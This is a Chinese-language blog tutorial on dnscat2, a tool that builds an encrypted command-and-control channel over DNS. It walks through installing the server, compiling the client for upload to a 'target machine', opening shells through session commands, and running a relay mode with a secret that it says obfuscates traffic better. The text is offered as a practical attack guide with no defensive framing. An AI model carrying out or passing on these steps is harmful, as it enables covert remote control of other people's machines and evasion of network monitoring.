DNS隧道

dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell

目录

Dnscat2安装

[解决bundle instal1特别慢问题](#解决bundle instal1特别慢问题)

客户端编译(在同一个服务端vps下编译好dnscat,上传目标机搞)

dnscat下载下来上传目标机

DNS直连模式

开启服务端

服务端会显示连接的命令,只需带上vps的ip进行执行即可

基本命令使用

​DNS直连流量展示

[DNS中级模式 (带上挂中载的命令,其余和直连一样,不过流量更好混淆)](#DNS中级模式 (带上挂中载的命令,其余和直连一样,不过流量更好混淆))

服务端启动

客户端启动

可能出现的问题

53端口被占用,csdn有相关文章讲述


Dnscat2安装

复制代码
apt install ruby ruby-dev git make g++ ruby-bundler
gem install bundler

git clone https://gitee.com/yijingsec/dnscat2.git
cd dnscat2/server
bundle install

解决bundle instal1特别慢问题

复制代码
vim Gemfile   #打开这个配置文件
source 'https://gems.ruby-china.com'  #修改配置

客户端编译(在同一个服务端vps下编译好dnscat,上传目标机搞)

复制代码
git clone https://gitee.com/yijingsec/dnscat2.git
cd dnscat2/client/
make

dnscat下载下来上传目标机

DNS直连模式

开启服务端

复制代码
ruby ./dnscat2.rb

服务端会显示连接的命令,只需带上vps的ip进行执行即可

基本命令使用

复制代码
获取shell:

windows  #相当于msf的sessions
session -i 1
shell
session -i 2
back  #放后台

DNS直连流量展示

DNS中级模式 (带上挂中载的命令,其余和直连一样,不过流量更好混淆)

服务端启动

复制代码
ruby ./dnscat2.rb nc1.peiqi.fake.top --secret=crazy  #--secret=crazy密码设置,nc1.peiqi.fake.top挂的中继

客户端启动

dnscat也是和直连模式一样获取的

复制代码
./dnscat --secret=crazy nc1.peiqi.fake.top

可能出现的问题

53端口被占用,csdn有相关文章讲述

相关推荐
子兮曰24 分钟前
后端字段又改了?我撸了一个 BFF 数据适配器,从此再也不怕接口“屎山”!
前端·javascript·架构
万少2 小时前
使用Trae轻松安装openclaw的教程-附带免费token
前端·openai·ai编程
浪浪山_大橙子3 小时前
OpenClaw 十分钟快速,安装与接入完全指南 - 推荐使用trae 官方 skills 安装
前端·人工智能
Sheffield3 小时前
Alpine是什么,为什么是Docker首选?
linux·docker·容器
忆江南3 小时前
iOS 可视化埋点与无痕埋点详解
前端
离开地球表面_993 小时前
金三银四程序员跳槽指南:从简历到面试再到 Offer 的全流程准备
前端·后端·面试
_柳青杨3 小时前
跨域获取 iframe 选中文本?自己写个代理中间层,再也不求后端!
前端
比尔盖茨的大脑3 小时前
事件循环底层原理:从 V8 引擎到浏览器实现
前端·javascript·面试
天才熊猫君3 小时前
Vue3 命令式弹窗原理和 provide/inject 隔离机制详解
前端
bluceli3 小时前
Vue 3 Composition API深度解析:构建可复用逻辑的终极方案
前端·vue.js